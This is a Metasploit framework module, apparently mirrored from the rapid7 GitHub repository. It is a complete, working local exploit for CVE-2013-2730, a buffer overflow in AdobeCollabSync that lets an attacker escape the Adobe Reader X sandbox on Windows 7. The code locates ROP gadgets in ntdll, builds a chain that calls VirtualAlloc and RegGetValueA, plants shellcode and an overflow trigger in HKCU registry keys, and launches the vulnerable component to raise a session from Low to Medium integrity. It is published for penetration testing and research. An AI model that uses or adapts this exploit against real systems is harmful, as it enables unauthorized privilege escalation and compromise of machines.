Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GreatRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Post::File
11
include Msf::Post::Windows::Registry
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
{
18
'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',
19
'Description' => %q{
20
This module exploits a vulnerability on Adobe Reader X Sandbox. The
21
vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe
22
process to write register values which can be used to trigger a buffer overflow on
23
the AdobeCollabSync component, allowing to achieve Medium Integrity Level
24
privileges from a Low Integrity AcroRd32.exe process. This module has been tested
25
successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Felipe Andres Manzano', # Vulnerability discovery and PoC
30
'juan vazquez' # Metasploit module
31
],
32
'References' => [
33
[ 'CVE', '2013-2730' ],
34
[ 'OSVDB', '93355' ],
35
[ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]
36
],
37
'Arch' => ARCH_X86,
38
'Platform' => 'win',
39
'SessionTypes' => ['meterpreter'],
40
'Payload' => {
41
'Space' => 12288,
42
'DisableNops' => true
43
},
44
'Targets' => [
45
[
46
'Adobe Reader X 10.1.4 / Windows 7 SP1',
47
{
48
'AdobeCollabSyncTrigger' => 0x18fa0,
49
'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"
50
}
51
],
52
],
53
'DefaultTarget' => 0,
54
'DisclosureDate' => '2013-05-14',
55
'Compat' => {
56
'Meterpreter' => {
57
'Commands' => %w[
58
stdapi_railgun_api
59
stdapi_railgun_memread
60
stdapi_sys_config_getenv
61
]
62
}
63
},
64
'Notes' => {
65
'Reliability' => UNKNOWN_RELIABILITY,
66
'Stability' => UNKNOWN_STABILITY,
67
'SideEffects' => UNKNOWN_SIDE_EFFECTS
68
}
69
}
70
)
71
)
72
73
self.needs_cleanup = true
74
end
75
76
def on_new_session
77
print_status("Deleting Malicious Registry Keys...")
78
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
79
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")
80
end
81
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
82
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")
83
end
84
print_status("Cleanup finished")
85
end
86
87
# Test the process integrity level by trying to create a directory on the TEMP folder
88
# Access should be granted with Medium Integrity Level
89
# Access should be denied with Low Integrity Level
90
# Usint this solution atm because I'm experiencing problems with railgun when trying
91
# use GetTokenInformation
92
def low_integrity_level?
93
tmp_dir = session.sys.config.getenv('TEMP')
94
cd(tmp_dir)
95
new_dir = "#{rand_text_alpha(5)}"
96
begin
97
session.shell_command_token("mkdir #{new_dir}")
98
rescue
99
return true
100
end
101
102
if directory?(new_dir)
103
session.shell_command_token("rmdir #{new_dir}")
104
return false
105
else
106
return true
107
end
108
end
109
110
def check_trigger
111
signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)
112
if signature == target['AdobeCollabSyncTriggerSignature']
113
return true
114
end
115
116
return false
117
end
118
119
def collect_addresses
120
# find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe
121
@addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']
122
vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")
123
124
# find kernel32.dll
125
kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")
126
@addresses['kernel32.dll'] = kernel32["return"]
127
if @addresses['kernel32.dll'] == 0
128
fail_with(Failure::Unknown, "Unable to find kernel32.dll")
129
end
130
vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")
131
132
# find kernel32.dll methods
133
virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")
134
@addresses['VirtualAlloc'] = virtual_alloc["return"]
135
if @addresses['VirtualAlloc'] == 0
136
fail_with(Failure::Unknown, "Unable to find VirtualAlloc")
137
end
138
vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")
139
140
reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")
141
@addresses['RegGetValueA'] = reg_get_value["return"]
142
if @addresses['RegGetValueA'] == 0
143
fail_with(Failure::Unknown, "Unable to find RegGetValueA")
144
end
145
vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")
146
147
# find ntdll.dll
148
ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")
149
@addresses['ntdll.dll'] = ntdll["return"]
150
if @addresses['ntdll.dll'] == 0
151
fail_with(Failure::Unknown, "Unable to find ntdll.dll")
152
end
153
vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")
154
end
155
156
# Search a gadget identified by pattern on the process memory
157
def search_gadget(base, offset_start, offset_end, pattern)
158
mem = base + offset_start
159
length = offset_end - offset_start
160
mem_contents = session.railgun.memread(mem, length)
161
return mem_contents.index(pattern)
162
end
163
164
# Search for gadgets on ntdll.dll
165
def search_gadgets
166
ntdll_text_base = 0x10000
167
search_length = 0xd6000
168
169
@gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")
170
if @gadgets['mov [edi], ecx # ret'].nil?
171
fail_with(Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")
172
end
173
@gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']
174
@gadgets['mov [edi], ecx # ret'] += ntdll_text_base
175
vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")
176
177
@gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2
178
vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")
179
180
@gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")
181
if @gadgets['pop edi # ret'].nil?
182
fail_with(Failure::Unknown, "Unable to find gadget 'pop edi # ret'")
183
end
184
@gadgets['pop edi # ret'] += @addresses['ntdll.dll']
185
@gadgets['pop edi # ret'] += ntdll_text_base
186
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")
187
188
@gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")
189
if @gadgets['pop ecx # ret'].nil?
190
fail_with(Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")
191
end
192
@gadgets['pop ecx # ret'] += @addresses['ntdll.dll']
193
@gadgets['pop ecx # ret'] += ntdll_text_base
194
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")
195
end
196
197
def store(buf, data, address)
198
i = 0
199
while (i < data.length)
200
buf << [@gadgets['pop edi # ret']].pack("V")
201
buf << [address + i].pack("V") # edi
202
buf << [@gadgets['pop ecx # ret']].pack("V")
203
buf << data[i, 4].ljust(4, "\x00") # ecx
204
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
205
i = i + 4
206
end
207
return i
208
end
209
210
def create_rop_chain
211
mem = 0x0c0c0c0c
212
213
buf = [0x58000000 + 1].pack("V")
214
buf << [0x58000000 + 2].pack("V")
215
buf << [0].pack("V")
216
buf << [0x58000000 + 4].pack("V")
217
218
buf << [0x58000000 + 5].pack("V")
219
buf << [0x58000000 + 6].pack("V")
220
buf << [0x58000000 + 7].pack("V")
221
buf << [@gadgets['ret']].pack("V")
222
buf << rand_text(8)
223
224
# Allocate Memory To store the shellcode and the necessary data to read the
225
# shellcode stored in the registry
226
buf << [@addresses['VirtualAlloc']].pack("V")
227
buf << [@gadgets['ret']].pack("V")
228
buf << [mem].pack("V") # lpAddress
229
buf << [0x00010000].pack("V") # SIZE_T dwSize
230
buf << [0x00003000].pack("V") # DWORD flAllocationType
231
buf << [0x00000040].pack("V") # flProtect
232
233
# Put in the allocated memory the necessary data in order to read the
234
# shellcode stored in the registry
235
# 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions
236
reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"
237
reg_key_length = store(buf, reg_key, mem)
238
# 2) The reg entry: shellcode
239
value_key = "shellcode\x00"
240
store(buf, value_key, mem + reg_key_length)
241
# 3) The output buffer size: 0x3000
242
size_buffer = 0x3000
243
buf << [@gadgets['pop edi # ret']].pack("V")
244
buf << [mem + 0x50].pack("V") # edi
245
buf << [@gadgets['pop ecx # ret']].pack("V")
246
buf << [size_buffer].pack("V") # ecx
247
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
248
249
# Copy the shellcode from the registry to the
250
# memory allocated with executable permissions and
251
# ret into there
252
buf << [@addresses['RegGetValueA']].pack("V")
253
buf << [mem + 0x1000].pack("V") # ret to shellcode
254
buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER
255
buf << [mem].pack("V") # lpSubKey
256
buf << [mem + 0x3c].pack("V") # lpValue
257
buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY
258
buf << [0].pack("V") # pdwType
259
buf << [mem + 0x1000].pack("V") # pvData
260
buf << [mem + 0x50].pack("V") # pcbData
261
end
262
263
# Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry
264
def store_data_registry(buf)
265
vprint_status("Creating the Registry Key to store the shellcode...")
266
267
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
268
vprint_good("Registry Key created")
269
else
270
fail_with(Failure::Unknown, "Failed to create the Registry Key to store the shellcode")
271
end
272
273
vprint_status("Storing the shellcode in the Registry...")
274
275
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")
276
vprint_good("Shellcode stored")
277
else
278
fail_with(Failure::Unknown, "Failed to store shellcode in the Registry")
279
end
280
281
# Create the Malicious registry entry in order to exploit....
282
vprint_status("Creating the Registry Key to trigger the Overflow...")
283
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
284
vprint_good("Registry Key created")
285
else
286
fail_with(Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")
287
end
288
289
vprint_status("Storing the trigger in the Registry...")
290
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")
291
vprint_good("Trigger stored")
292
else
293
fail_with(Failure::Unknown, "Failed to store the trigger in the Registry")
294
end
295
end
296
297
def trigger_overflow
298
vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...")
299
# Create a thread in order to execute the necessary code to launch AdobeCollabSync
300
ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil)
301
if ret['return'] < 1
302
print_error("Unable to CreateThread")
303
return
304
end
305
hthread = ret['return']
306
307
vprint_status("Resuming the Thread...")
308
# Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability!
309
ret = client.railgun.kernel32.ResumeThread(hthread)
310
if ret['return'] < 1
311
fail_with(Failure::Unknown, "Unable to ResumeThread")
312
end
313
end
314
315
def check
316
@addresses = {}
317
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
318
@addresses['AcroRd32.exe'] = acrord32["return"]
319
if @addresses['AcroRd32.exe'] == 0
320
return Msf::Exploit::CheckCode::Unknown
321
elsif check_trigger
322
return Msf::Exploit::CheckCode::Vulnerable
323
else
324
return Msf::Exploit::CheckCode::Detected
325
end
326
end
327
328
def exploit
329
@addresses = {}
330
@gadgets = {}
331
332
print_status("Verifying we're in the correct target process...")
333
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
334
@addresses['AcroRd32.exe'] = acrord32["return"]
335
if @addresses['AcroRd32.exe'] == 0
336
fail_with(Failure::NoTarget, "AcroRd32.exe process not found")
337
end
338
vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}")
339
340
print_status("Checking the AcroRd32.exe image...")
341
if not check_trigger
342
fail_with(Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target")
343
end
344
345
print_status("Checking the Process Integrity Level...")
346
if not low_integrity_level?
347
fail_with(Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level")
348
end
349
350
print_status("Collecting necessary addresses for exploit...")
351
collect_addresses
352
353
print_status("Searching the gadgets needed to build the ROP chain...")
354
search_gadgets
355
print_good("Gadgets collected...")
356
357
print_status("Building the ROP chain...")
358
buf = create_rop_chain
359
print_good("ROP chain ready...")
360
361
print_status("Storing the shellcode and the trigger in the Registry...")
362
store_data_registry(buf)
363
364
print_status("Executing AdobeCollabSync.exe...")
365
trigger_overflow
366
end
367
end
368
369